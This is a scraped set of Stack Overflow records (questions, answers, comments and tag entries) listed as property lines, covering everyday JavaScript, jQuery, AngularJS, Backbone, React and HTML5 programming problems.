has body: dojox/mobile/_StoreMixin has 2 properies that I'm curious about: // labelProperty: String // A property name (a property in the dojo/store item) that specifies that item's label. labelProperty: "label" // childrenProperty: String // A property name (a property in the dojo/store item) that specifies that item's children. childrenProperty: "children", I'm not quite sure how I can reuse or access those properties in this scenario: I have an array of objects A where each object A contains array of objects B, so something like this: var data = [{ id: "1", content: "some info", items: [ {id:"a"}, {id:"b"}, {id:"c"}, {id:"d"} ] },{ id: "2", content: "some info", items: [ {id:"e"}, {id:"f"}, {id:"g"}, {id:"h"} ] },{ id: "3", content: "some info", items: [ {id:"i"}, {id:"j"}, {id:"k"}, {id:"l"} ] },{ id: "4", content: "some info", items: [ {id:"m"}, {id:"n"}, {id:"o"}, {id:"p"} ] },]; I put that data inside dojo/store/Memory that is Observable (via dojo/store/Observable). Now I have a widget called W.js that has a dojox/mobile/_StoreMixin mixin, and I have store set to the Memory store with data above. Would you have any examples of what I can do with labelProperty or childrenProperty? For example can I set childrenProperty to point to "items" (ie array of objects B) and then do something with it? I've searched for couple of examples but couldn't really find anything specific. What I would like to do is maybe have labelProperty set to "content" property so I can print it out and childrenProperty set to "items" so I can print them out also (as previously mentioned). Thanks.
answer count: 1
tagged with: javascript
score: 0
has title: dojox/mobile/_StoreMixin label and children properties
has answer: http://stackoverflow.com/a/25738090
accepted answer: http://stackoverflow.com/a/25738090
tagged with: dojo

http://stackoverflow.com/comment/39947611
comment on: http://stackoverflow.com/a/25577402
has text: This wont work I guess because the typing speed of user will be way more faster than the fetching time from server. And thus it will result in timeout of all my requests
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/39915837
type: Comment
type: QuestionComment
has text: I have looked at the web console and there is no XHR requesst, not even an attempt with failure
comment on: http://stackoverflow.com/q/25560679
score: 0

http://stackoverflow.com/a/25629137
has comment: http://stackoverflow.com/comment/40064180
downvote count: 0
has comment: http://stackoverflow.com/comment/40064051
has comment: http://stackoverflow.com/comment/40064211
has comment: http://stackoverflow.com/comment/40064080
type: Answer
has body: alienCountBelow5 computed property should be defined inside App.Item. and change your template to {{item.alienCountBelow5}}. I've updated your jsfiddle. Note: Unfortunately I couldn't get it working, It throws an error: Cannot read property 'resolve' of undefined. It should work as it's the same as this answer. But you should get the idea, and fix the issue. Also if you use aliens: DS.hasMany('alien', {async: true}) it kind of works.
score: 1
answers question: http://stackoverflow.com/q/25628022
upvote count: 1

http://stackoverflow.com/q/25563009
type: Question
has comment: http://stackoverflow.com/comment/39920269
accepted answer: http://stackoverflow.com/a/25563488
answer count: 2
tagged with: arrays
tagged with: javascript
has comment: http://stackoverflow.com/comment/39919970
score: 0
has comment: http://stackoverflow.com/comment/39920151
has title: How to randomly chose an array and then randomly chose an element within in javaScript?
has comment: http://stackoverflow.com/comment/39920051
possible better answer: http://stackoverflow.com/a/25563425
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25563488
has answer: http://stackoverflow.com/a/25563425
has body: I'm displaying images through arrays. My issue is with the function changeOfferRandom what I'm hoping to do here is delete the current image from it's random array so it doesn't appear again then display another image from a random array. I'm new to this so I wasn't sure at all how to attempt this. The reason I don't have all these images in a single array is because I'm adding a function later to only display images based on tags. The arrays are based on tags. With deletion anyway I believe I need to be able to recognise what image is being displayed. var data = []; function importJson(str) { if (str=="") { document.getElementById("content").innerHTML=""; return; } if (window.XMLHttpRequest) { // code for IE7+, Firefox, Chrome, Opera, Safari xmlhttp=new XMLHttpRequest(); } else { // code for IE6, IE5 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 &amp;&amp; xmlhttp.status == 200){ data = JSON.parse(xmlhttp.response); alert(xmlhttp.response); var fullindex = data.clothes.length + data.food.length + data.sport.length; for (var sport_index = 0; sport_index &lt; data.sport.length; sport_index++) { var id1 = data.sport[sport_index].ImagesId; var url1 = data.sport[sport_index].ImagesPath; var tag1 = data.sport[sport_index].Tag; } for (var food_index = 0; food_index &lt; data.food.length; food_index++) { var id2 = data.food[food_index].ImagesId; var url2 = data.food[food_index].ImagesPath; var tag2 = data.food[food_index].Tag; } for (var clothes_index = 0; clothes_index &lt; data.clothes.length; clothes_index++) { var id3 = data.clothes[clothes_index].ImagesId; var url3 = data.clothes[clothes_index].ImagesPath; var tag3 = data.clothes[clothes_index].Tag; } function firstRandom(){ var possibleImages = [url3, url2, url1]; var offer = possibleImages[(Math.random() * possibleImages.length)|0]; buildImage(offer); } firstRandom(); } } xmlhttp.open("GET","http://server/~name/folder/many.php"); xmlhttp.responseT…

http://stackoverflow.com/comment/39980158
type: Comment
type: QuestionComment
has text: Your code does not contain an ajax request? All i see is a function that collects data into 3 arrays then does nothing with the data
score: 3
comment on: http://stackoverflow.com/q/25595054

http://stackoverflow.com/q/25613739
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40016950
has comment: http://stackoverflow.com/comment/40016597
tagged with: css
has comment: http://stackoverflow.com/comment/40013737
score: 0
has body: Is there any way to get the equivalent of getComputedStyle for width through the jQuery api? I want the fractional float values that are in the computed values but width() and css() both give me integers. I have a fiddle here that shows the difference in values I'm getting. http://jsfiddle.net/dchesterman/6Lyohk2d/1/ From what I can tell in the source, the issue is that css.getWidthOrHeight defaults to the offset before checking any computed values and I can't find a code path that lets me use the value from getComputedValue.
answer count: 0
tagged with: javascript
tagged with: jquery
type: UnansweredQuestion
type: Question
has title: How to retrieve exact computed width with jQuery

http://stackoverflow.com/comment/40228737
comment on: http://stackoverflow.com/a/25689141
type: AnswerComment
has text: #1 above ("Get the process object and wait for it to complete") solved the issues, thank you
score: 0
type: Comment

http://stackoverflow.com/a/39658949
type: Answer
accepted answer of: http://stackoverflow.com/q/25702911
score: 0
answers question: http://stackoverflow.com/q/25702911
has body: The problem is that instead of class(.) I appended the id tag(#). The solution was to add to the class container an id container. &lt;div class="container" id="container"&gt;
type: AcceptedAnswer

http://stackoverflow.com/comment/40035395
type: QuestionComment
type: Comment
has text: @talemyn: +11 111 11-11111 +11 1111 3333333
comment on: http://stackoverflow.com/q/25624423
score: 0

http://stackoverflow.com/comment/54617069
comment on: http://stackoverflow.com/q/25601980
type: Comment
has text: problem persists: http://stackoverflow.com/questions/33411413/angular-socket-io-io-is-not-defined
score: 0
type: QuestionComment

http://stackoverflow.com/q/25601463
has answer: http://stackoverflow.com/a/25601718
type: Question
score: 0
tagged with: onclick
has answer: http://stackoverflow.com/a/25601547
has comment: http://stackoverflow.com/comment/39991490
linked to: http://stackoverflow.com/q/1454655
tagged with: javascript
tagged with: dom-events
has body: I have this small menu. All I want is to open it with one click and then to close it with another click outside the html element. I figured out only how to open it with a click but don't know how to close it: HTML portion: login Streamer1228 PREMIUM USER Logout JavaScript code: function setVisibility() { document.getElementById("sign").style.height="350px"; }
has answer: http://stackoverflow.com/a/25601649
answer count: 3
accepted answer: http://stackoverflow.com/a/25601547
type: AnsweredQuestion
tagged with: http://stackoverflow.com/tag/html
has title: Javascript onmouseover stop menu
possible better answer: http://stackoverflow.com/a/25601718

http://stackoverflow.com/q/25606365
answer count: 1
tagged with: angularjs-directive
tagged with: javascript
has body: I am a beginner in AngularJS. I am working through some code of an expert. I would like to customize the directive and learn something. The expert always insert: this.scope = $scope; in the first line of every controller. What's the point of this statement, if you later always just use $scope.
type: AnsweredQuestion
score: 2
accepted answer: http://stackoverflow.com/a/25606668
downvote count: 0
favorite count: 0
tagged with: angularjs
type: Question
upvote count: 2
has title: Angular Scope Usage
has comment: http://stackoverflow.com/comment/40000762
linked to: http://stackoverflow.com/q/11605917
has answer: http://stackoverflow.com/a/25606668
tagged with: angularjs-scope

http://stackoverflow.com/comment/48129784
has text: Watch works with changes in the file system. The task is executed when a file is changed. For your requirement a cron job should do the job.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25682356
score: 0

http://stackoverflow.com/comment/40022421
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25618360
has text: Qt has been supporting a JavaScript engine compatible with ECMAScript-262 since Qt 4.3. This engine is called “QtScript” and was originally an independent implementation. Since Qt 4.5, QtScript has been based on JavaScriptCore from WebKit.

http://stackoverflow.com/a/25701169
accepted answer of: http://stackoverflow.com/q/25701168
score: 37
has body: The approach at which I arrived is having each components receive its data (not IDs) as a prop. If some nested component needs a related entity, it's up to the parent component to retrieve it. In our example, Article should have an article prop which is an object (presumably retrieved by ArticleList or ArticlePage). Because Article also wants to render UserLink and UserAvatar for article's author, it will subscribe to UserStore and keep author: UserStore.get(article.authorId) in its state. It will then render UserLink and UserAvatar with this this.state.author. If they wish to pass it down further, they can. No child components will need to retrieve this user again. To reiterate: No component ever receives ID as a prop; all components receive their respective objects. If child components needs an entity, it's parent's responsibility to retrieve it and pass as a prop. This solves my problem quite nicely. Code example rewritten to use this approach: var Article = React.createClass({ mixins: [createStoreMixin(UserStore)], propTypes: { article: PropTypes.object.isRequired }, getStateFromStores() { return { author: UserStore.get(this.props.article.authorId); } }, render() { var article = this.props.article, author = this.state.author; return ( <UserAvatar user={author} /> {article.title} {article.text} Read more by . ) } }); var UserAvatar = React.createClass({ propTypes: { user: PropTypes.object.isRequired }, render() { var user = this.props.user; return ( ) } }); var UserLink = React.createClass({ propTypes: { user: PropTypes.object.isRequired }, render() { var user = this.props.user; return ( {this.props.children || user.name} ) } }); This keeps innermost components stupid but doesn't force us to complicate the hell out of top level components.
has comment: http://stackoverflow.com/comment/54205238
type: AcceptedAnswer
downvote count: 0
upvote count: 37
answers question: http://stackoverflow.com/q/25701168
type: Answer

http://stackoverflow.com/comment/39986215
has text: i want it drawn on the point
score: 0
comment on: http://stackoverflow.com/q/25563946
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25610554
upvote count: 1
accepted answer of: http://stackoverflow.com/q/25597089
score: 1
has comment: http://stackoverflow.com/comment/40009523
has body: I don't know what Flask is, but your html script is running perfectly on my XAMPP Server... I've only tested the downloading of CSV, XLS, PDF and these files get downloaded when I open the html file on my XAMPP localhost server.... Try your page with the Portable Xampp Lite Server. I suggest portable because it's easier to download and extract and run. You'll need apache and sql to run properly, although your code doesn't require SQL, still I think a webserver does require apache. Copy paste your HTML file to the htdocs in the extracted xampp folder...
answers question: http://stackoverflow.com/q/25597089
type: AcceptedAnswer
downvote count: 0
type: Answer

http://stackoverflow.com/comment/39997486
comment on: http://stackoverflow.com/q/25604535
score: 0
type: QuestionComment
has text: id.bind did not work
type: Comment

http://stackoverflow.com/comment/39927394
type: QuestionComment
comment on: http://stackoverflow.com/q/25566960
has text: @AbdulJabbar how will you do it? How will javascript tell you the number of html pages in the directory?
score: 0
type: Comment

pug
tags question: http://stackoverflow.com/q/25694692
tags question: http://stackoverflow.com/q/25584432
tags question: http://stackoverflow.com/q/25634754
tags question: http://stackoverflow.com/q/25636474
tag name: pug
tags question: http://stackoverflow.com/q/25656660
type: Tag
tags question: http://stackoverflow.com/q/25656979

http://stackoverflow.com/comment/39927451
comment on: http://stackoverflow.com/q/25567142
type: Comment
type: QuestionComment
score: 5
has text: how are you calling checktextarea()?

http://stackoverflow.com/comment/40127543
type: QuestionComment
score: 2
comment on: http://stackoverflow.com/q/25676279
has text: Why would you do this on the client? I'm 99.99% sure this is an [XY Problem](http://meta.stackexchange.com/a/66378).
type: Comment

http://stackoverflow.com/a/33635063
has comment: http://stackoverflow.com/comment/112406137
score: 23
has comment: http://stackoverflow.com/comment/74282378
downvote count: 0
has comment: http://stackoverflow.com/comment/131427926
answers question: http://stackoverflow.com/q/25575338
has body: There is a Working Draft for a new Wake Lock API, which doesn't seem to be implemented anywhere. For now, you can take a look at NoSleep.js: Prevent display sleep and enable wake lock in all Android and iOS web browsers. It requires user interaction though, meaning you have to attach it to a user input event handler (eg mouse/touch).
type: Answer
upvote count: 23
has comment: http://stackoverflow.com/comment/99106350

http://stackoverflow.com/q/25678445
answer count: 1
tagged with: javascript
tagged with: jquery
tagged with: backbone.js
score: 0
accepted answer: http://stackoverflow.com/a/25679717
has comment: http://stackoverflow.com/comment/40131239
has body: I am using Backbone to submit a form. The form resides in html page (home page). I used .save() method of backbone model to save data in database when the form submitted. I used e.preventDefault(); to prevent submission and catch the values. The problem is after submission the form remain unchanged that means input fields filled up with previous values.If I again submit the form then previous values insert in database. How is it possible to make the form as like first state(blank) after submission ?? Codes HTML &lt;form method="post" id="my_form"&gt; &lt;input type="text" id="name" size="30" required autofocus/&gt; &lt;input type="email" id="email " size="30" required/&gt; &lt;input type=" text " id="catagory" size="30" required/&gt; &lt;input type="submit" value="Submit"/&gt; &lt;/form&gt; backbone var My_view = Backbone.View.extend( { el: $("body"), events: { "submit #my_form": "save" }, initialize: function() { _.bindAll(this,'save'); }, save: function(e) { e.preventDefault(); var name = $('#name').val(); var email = $('#email').val(); var catagory = $('#catagory').val(); var data = { name : name, email : email, catagory : catagory }; var my_model = new My_model(); my_model.save(data, { success: function(model,response) { alert(JSON.stringify(response)); }, error: function(model,response) { alert(JSON.stringify(response)); } }); } }); var my_view = new My_view({});
tagged with: php
type: Question
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40131224
tagged with: forms
has answer: http://stackoverflow.com/a/25679717
has title: Form submission using backbone

http://stackoverflow.com/comment/40082873
score: 0
comment on: http://stackoverflow.com/q/25651570
type: Comment
type: QuestionComment
has text: 15 pts for Barmar is a drop in the ocean =D

http://stackoverflow.com/comment/40096237
type: Comment
has text: Ashok it is working fine. It is anyways to do the same things for UI tabs. Since i have the Tabs in other pages.
comment on: http://stackoverflow.com/a/25657780
type: AnswerComment
score: 0

http://stackoverflow.com/comment/40055511
type: AnswerComment
has text: Js is included, i copied and pasted everything from you comment and still doesn't unselect checkboxes
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25636619

http://stackoverflow.com/comment/39989041
has text: It could also problem of browser. Some time the newer version of firefox do not respond to pagemethod request.Try your code in different browser Or it could be due to your first method try to call it before your first method
type: AnswerComment
comment on: http://stackoverflow.com/a/25600018
score: 0
type: Comment

callback
tags question: http://stackoverflow.com/q/25652347
tag name: callback
tags question: http://stackoverflow.com/q/25611896
tags question: http://stackoverflow.com/q/25556779
tags question: http://stackoverflow.com/q/25598762
tags question: http://stackoverflow.com/q/25646494
tags question: http://stackoverflow.com/q/25553580
tags question: http://stackoverflow.com/q/25591071
tags question: http://stackoverflow.com/q/25621111
tags question: http://stackoverflow.com/q/25600525
tags question: http://stackoverflow.com/q/25587860
tags question: http://stackoverflow.com/q/25674031
tags question: http://stackoverflow.com/q/25672609
tags question: http://stackoverflow.com/q/25579379
tags question: http://stackoverflow.com/q/25655047
tags question: http://stackoverflow.com/q/25637049
tags question: http://stackoverflow.com/q/25629016
type: Tag

http://stackoverflow.com/q/25654558
downvote count: 0
tagged with: web-audio-api
favorite count: 0
tagged with: http://stackoverflow.com/tag/html
score: 11
has answer: http://stackoverflow.com/a/76916935
upvote count: 11
tagged with: audio
type: AnsweredQuestion
tagged with: html5-audio
accepted answer: http://stackoverflow.com/a/25654697
type: Question
has body: I'm create a very basic HTML5 game and I've hit a little wall, basically I have an array, this array is populated with one sound file (it is an array so I can assign more sounds if needed) this.Sounds["L_Explosion1"] = new Audio("Assets/Sounds/Explosion_1.wav"); this.Sounds["L_Explosion1"].volume = 1; this.Sounds["L_Explosion1"].load(); When the player presses the space bar I want to play the sound so I run this code this.Sounds["L_Explosion1"].play(); however if I press space bar again before the sound played it will not play it, what I am trying to do is play the same sound multiple times event if the same has not yet finished, how would I achieve this?
has answer: http://stackoverflow.com/a/25654697
tagged with: javascript
possible better answer: http://stackoverflow.com/a/76916935
has title: HTML5 JS play same sound multiple times at the same time
answer count: 2

http://stackoverflow.com/comment/39918902
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25562403
has text: For some reason this worked instead, I don't know why setInterval(function solo() { jQuery('#content').find('input[type="submit"]:nth-child(3)').click(); console.log("1"); }, 1000);

http://stackoverflow.com/a/25617424
answers question: http://stackoverflow.com/q/25617339
accepted answer of: http://stackoverflow.com/q/25617339
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40020776
type: Answer
has body: you can use each method of jquery function valChange() { var _this = $(this) $('.myselector').each(function(){ myFun(); $(this).val(_this.val()); }); } $('.myselector').on('change', valChange); here is fiddle for the same fiddle link
score: 1
upvote count: 1

http://stackoverflow.com/comment/40173761
type: AnswerComment
score: 0
has text: there is a disconnect between `ng-model` and `my-model` in your code. If use `ng-model` need to use `require` for it
comment on: http://stackoverflow.com/a/25701776
type: Comment

http://stackoverflow.com/comment/39972107
type: Comment
type: QuestionComment
has text: Thanks @Aristos your clue resolved the problem
comment on: http://stackoverflow.com/q/25590854
score: 0

http://stackoverflow.com/a/25702721
has comment: http://stackoverflow.com/comment/40175533
downvote count: 0
score: 9
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/25702689
upvote count: 9
has body: try this one: $('.about-center').click(function() { var div = $('#ABOUT'); var pos = div.offset().top; $('html, body').animate({scrollTop:pos},2000); // will take two seconds to scroll to the element });
answers question: http://stackoverflow.com/q/25702689

http://stackoverflow.com/comment/40085114
has text: did you see this? http://stackoverflow.com/questions/149055/how-can-i-format-numbers-as-money-in-javascript
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25652913

http://stackoverflow.com/comment/40093625
comment on: http://stackoverflow.com/a/25657420
score: 0
type: AnswerComment
has text: It was displayed at new tab in current opening browser. I want to display it with new opening browser.
type: Comment

http://stackoverflow.com/a/25580979
answers question: http://stackoverflow.com/q/25562969
has comment: http://stackoverflow.com/comment/39992437
has body: Not sure what you thought was going on in the handleLists part of your script. You just need to wrap the other segment in an iterator (forEach) after finding the elements corresponding to the IDs. var idList= ["MeatList", "Seats", "Lastname"].map(function(id){return document.getElementById(id)}); idList.forEach(function(select){ [].slice.call(select.options) .map(function(a){ if(this[a.value]){ select.removeChild(a); } else { this[a.value]=1; } },{}); }); Of course, this is bad. You should make de-duplicating a function of it's own, eg.: function deDuplicate(select){ [].slice.call(select.options) .map(function(a){ if(this[a.value]){ select.removeChild(a); } else { this[a.value]=1; } },{}); } and then: var idList= ["MeatList", "Seats", "Lastname"].map(function(id){return document.getElementById(id)}); idList.forEach(function(select){ deDuplicate(select); }); Personally I recommend learning/using CoffeeScript as it uncrufts Javascript a great deal, the de-dupe looks like this: deDuplicate = (select)-&gt; [].slice.call(select.options).map (a)-&gt; if @[a.value] select.removeChild a else @[a.value] = 1 , {} and then wrapped you can do: deDuplicate select for select in ["MeatList", "Seats", "Lastname"].map (id)-&gt; document.getElementById id Which reads more plainly as english, at least to me it does. As always YMMV.
score: 1
has comment: http://stackoverflow.com/comment/39987545
type: AcceptedAnswer
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/39992073
has comment: http://stackoverflow.com/comment/39987340
accepted answer of: http://stackoverflow.com/q/25562969
upvote count: 1

http://stackoverflow.com/a/25689219
has comment: http://stackoverflow.com/comment/40151968
upvote count: 1
score: 1
accepted answer of: http://stackoverflow.com/q/25689129
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/25689129
type: Answer
has body: Try something like this: $(".editButton").click(function () { $(this).parents(".largeImage").find(".renameButton,.cancelRenameButton").show(); $(this).parents(".largeImage").find(".editButton").hide(); }); $(".cancelRenameButton").click(function () { $(this).parents(".largeImage").find(".renameButton,.cancelRenameButton").hide(); $(this).parents(".largeImage").find(".editButton").show(); });

http://stackoverflow.com/comment/138377358
has text: Where are the signature types documented?
type: Comment
comment on: http://stackoverflow.com/a/25584986
score: 0
type: AnswerComment

http://stackoverflow.com/a/25671511
type: AcceptedAnswer
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/25670148
upvote count: 3
score: 3
accepted answer of: http://stackoverflow.com/q/25670148
has body: Based on the docs this doesnt appear to be possible - however an alert might serve your purposes: http://getbootstrap.com/javascript/#alerts The alert can be put into a div that has a fixed positioned to keep them visible and independent of the content beneath them. Fiddle The html: &lt;button id="myBtn"&gt;show 'modal' alert&lt;/button&gt; &lt;p&gt; more content that the user should be able to see.... &lt;/p&gt; &lt;p&gt; more content that the user should be able to see.... &lt;/p&gt; &lt;p&gt; this is the bottom &lt;/p&gt; &lt;div style="position:fixed;bottom:0;left:0;width:100%;" id="alerts"&gt;&lt;/div&gt; and the JS to add the 'modal' alert (which you can style however you like): $("#myBtn").click(function() { $('&lt;div class="alert alert-success alert-dismissable"&gt;'+ '&lt;button type="button" class="close" ' + 'data-dismiss="alert" aria-hidden="true"&gt;' + '&amp;times;' + '&lt;/button&gt;' + 'modal info...' + '&lt;/div&gt;').appendTo("#alerts"); });

http://stackoverflow.com/q/25558679
duplicate of: http://stackoverflow.com/q/359494
has comment: http://stackoverflow.com/comment/39912124
has answer: http://stackoverflow.com/a/25558751
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/39912120
has title: javascript strange comparison of strings
linked to: http://stackoverflow.com/q/4935632
type: Question
upvote count: 4
downvote count: 0
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25558751
linked to: http://stackoverflow.com/q/523643
score: 4
has body: I have an ajax function that sends an email to somewhere and receives a response from the server from a json object with type = either success or error $("#submit_btn").click(function(event) { event.preventDefault(); var post_data = { 'email': $("#email").val() }; $.post( "sendEmail.php", post_data ).done(function(response){ if(response.type == 'success'){ $("#sentmail").fadeIn("slow") setTimeout(function(){ $("#mail").val("Enter your email here"); $("#sentmail").fadeOut("slow") },3000); } else{ $("#sentmailfail").fadeIn("slow") setTimeout(function(){ $("#mail").val("Enter your email here"); $("#sentmailfail").fadeOut("slow") },3000); } },"json") }); The interesting part is that if I console.log(response) I get for instance {"type":"success","desc":"something"} and then straight after that console.log( (response.type == "error") ) // TRUE if I take the consoled log from response and assign it to a variable for instance a = {"type":"success","desc":"something"} then a.type == "error" is false. Can someone explain this?
tagged with: ajax
linked to: http://stackoverflow.com/q/359494
duplicate of: http://stackoverflow.com/q/523643
answer count: 1
favorite count: 0

http://stackoverflow.com/a/25592515
has comment: http://stackoverflow.com/comment/39975067
has comment: http://stackoverflow.com/comment/39975020
type: Answer
has comment: http://stackoverflow.com/comment/39974970
upvote count: 0
answers question: http://stackoverflow.com/q/25592479
has comment: http://stackoverflow.com/comment/39975036
score: -1
has body: don't stringify (assumed params is already json) $.ajax({ type: "POST", contentType: "application/json; charset=utf-8", url: "/Webservice/LloydsService/getLloydsOverview", data: params, dataType: "json", success: function (data) { console.debug("data received Ok?"); console.log(data); }, error: function (jqXHR, textStatus, errorThrown) { alert(textStatus + " -- " + "---" + errorThrown); } }); fiddle here, look into console.
downvote count: 1

http://stackoverflow.com/comment/39933272
score: 0
type: QuestionComment
type: Comment
has text: @MrHunter `Array.prototype.push` can take multiple items to push just fine. There's nothing wrong with this code. It's mostly copied from HTML5rocks.com, save the jQuery. @Brian has the answer.
comment on: http://stackoverflow.com/q/25569913

http://stackoverflow.com/a/25640400
score: -2
type: Answer
has body: It is not build-in, but you can try to use a plugin
downvote count: 3
upvote count: 1
answers question: http://stackoverflow.com/q/25622582

http://stackoverflow.com/q/25554039
has title: Highcharts - series.remove(); 4 series in chart, only 2 removed
answer count: 1
has answer: http://stackoverflow.com/a/25555397
accepted answer: http://stackoverflow.com/a/25555397
type: AnsweredQuestion
type: Question
has body: Live example: http://jsfiddle.net/jlbriggs/6dgs4cav/ I have a set up where I have a chart with four series. I want to allow the user to select a different data set, and then remove the existing series add the new series I am stuck at the 'remove' phase, however, because after the first two series are removed, it tells me the next 2 are undefined. The function to remove the series: function updateData(chart, dataSet) { console.log(chart); $.each(chart.series, function(i,ser) { if(typeof(ser) != 'undefined') { console.log(ser); ser.remove(); } }); } Which leaves 2 series still on the chart. When I console.log the chart object, it only lists two series. The questions: Am I doing this wrong? Is there a better way to remove all of the series? Why does the chart only show two series instead of four?
tagged with: highcharts
tagged with: javascript
linked to: http://stackoverflow.com/q/6604291
score: 0

http://stackoverflow.com/comment/40153706
has text: Interesting - using a value of 45deg seems to work. A value of 90deg fails: [example fiddle](http://jsfiddle.net/0v8v2xd7/4/)
score: 1
comment on: http://stackoverflow.com/q/25690711
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25596606
has body: I am using Janrain to implement social login of my site and everything is working pretty fine. But when running in mobile, the page that pops up is not closing and the process can't continue. I have to close the page, come back to original one and, then, the login completes. Any idea how to solve this problem?
tagged with: janrain
has title: Janrain Social Login
type: Question
has answer: http://stackoverflow.com/a/25980614
tagged with: javascript
score: 0
answer count: 1
type: UnansweredQuestion

http://stackoverflow.com/a/26817314
type: AcceptedAnswer
downvote count: 0
type: Answer
has body: If any style is not defined manually, then by default it inherits the style of its parent. You can also check the results in your developer tools to see the style of its parent.
upvote count: 3
answers question: http://stackoverflow.com/q/25700030
score: 3
accepted answer of: http://stackoverflow.com/q/25700030

http://stackoverflow.com/a/69319013
has comment: http://stackoverflow.com/comment/122519612
score: 0
answers question: http://stackoverflow.com/q/25554117
type: Answer
has body: I think for a given Array If it is an exact match. You can use Array.includes. const myArr = [ "blue", "red", "orange", "green" ]; console.log(myArr.includes("orange")) If you are looking for just a fuzzy search you can use below codes. const myArr = ["blue", "red", "orange", "green"]; // Create a helper method, and look for contains/includes in each item const contains = (arr = [], m) => arr.some((txt) => txt.includes(m)); console.log(contains(myArr, "orang")) // This is fuzzy search. Check in whole array. join array in string and check for contains/includes console.log(myArr.join("").includes("orang")); // This is fuzzy search. Check in whole array. stringify array and check for contains/includes console.log(JSON.stringify(myArr).includes("orang")); Note: Old browser may not support method includes. You can use index of instead "test message".includes("test") /// true //same as "test message".indexOf("test") !== -1 //true
has comment: http://stackoverflow.com/comment/122519712

http://stackoverflow.com/comment/40004821
score: 0
comment on: http://stackoverflow.com/q/25608546
type: Comment
has text: Afraid not. I'm adding to an existing project. Many iframes are used, each contains an 'individual' part of the program. iframes are not too nasty, this has just stumped me. I've put an alert in the code in the iframe now, that goes off every 20 seconds. I can remove the frame, check its gone and still the alert is fired.
type: QuestionComment

http://stackoverflow.com/q/25584576
tagged with: php
has answer: http://stackoverflow.com/a/25584910
type: Question
tagged with: yii
tagged with: javascript
score: 0
has body: I am trying to submit from using function but it show error Uncaught TypeError: object is not a function my form code &lt;?php $form = $this-&gt;beginWidget('CActiveForm', array( 'action'=&gt;'/microsite/Photoupload?id='.$model-&gt;id, 'enableClientValidation'=&gt;true, 'id'=&gt;'xxxx', 'htmlOptions'=&gt;array('enctype'=&gt;'multipart/form-data'), 'enableAjaxValidation'=&gt;false, )); ?&gt; &lt;div class="col-sm-5 col-md-5 col-lg-5"&gt; &lt;?php echo CHtml::hiddenField('formname','photo');?&gt; &lt;?php echo $form-&gt;labelEx($specialdeal,'photo'); ?&gt; &lt;?php echo $form-&gt;fileField($specialdeal,'photo',array('class'=&gt;'login_text','disabled'=&gt;$disabled));?&gt; &lt;?php echo $form-&gt;error($specialdeal,'photo',array('class'=&gt;'form_error')); ?&gt; &lt;/div&gt; &lt;div class="col-sm-7 col-md-7 col-lg-7 datsun_photo"&gt; &lt;?php echo CHtml::Button('Submit', array('name' =&gt; 'submit','onclick'=&gt;'submitfunc("xxxx");')); ?&gt; my js code function submitfunc(formid){ var id = '#'+formid; $(id).submit(); } I am using jquery v1.7.1
answer count: 1
tagged with: jquery
has title: In yii i am trying to submit from using js function
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/comment/39931862
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/25568852
has text: But this is an event handler. When you click any of the submit buttons, it will be called. If you need the form to submit, you need to trigger it inside this handler like I said.

http://stackoverflow.com/q/25612921
has answer: http://stackoverflow.com/a/25612990
upvote count: 0
downvote count: 5
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40012134
has comment: http://stackoverflow.com/comment/40012175
has comment: http://stackoverflow.com/comment/40012263
has comment: http://stackoverflow.com/comment/40012211
has title: jQuery - Passing only certain values into a running total
has body: I have the following code which passes 20 values into the variable total as a running total: total += parseInt($(this).html(),10); How could I achieve the same but only for the 5th, 10th and 15th values of the 20 being passed in? EDIT: $('#table1 .set2').each(function() { total += parseInt($(this).html(),10); });
has comment: http://stackoverflow.com/comment/40012283
has comment: http://stackoverflow.com/comment/40012131
score: -5
answer count: 1
has comment: http://stackoverflow.com/comment/40012101
accepted answer: http://stackoverflow.com/a/25612990
favorite count: 0
has comment: http://stackoverflow.com/comment/40012180
has comment: http://stackoverflow.com/comment/40012288
has comment: http://stackoverflow.com/comment/40012112
type: AnsweredQuestion
type: Question

http://stackoverflow.com/q/25627683
tagged with: javascript
answer count: 6
has title: Error: [$compile:nonassign] Expression 'undefined' used with directive 'myFacebook' is non-assignable
has answer: http://stackoverflow.com/a/25641209
has answer: http://stackoverflow.com/a/35552887
favorite count: 0
tagged with: angularjs
score: 50
possible better answer: http://stackoverflow.com/a/35656799
has answer: http://stackoverflow.com/a/54516391
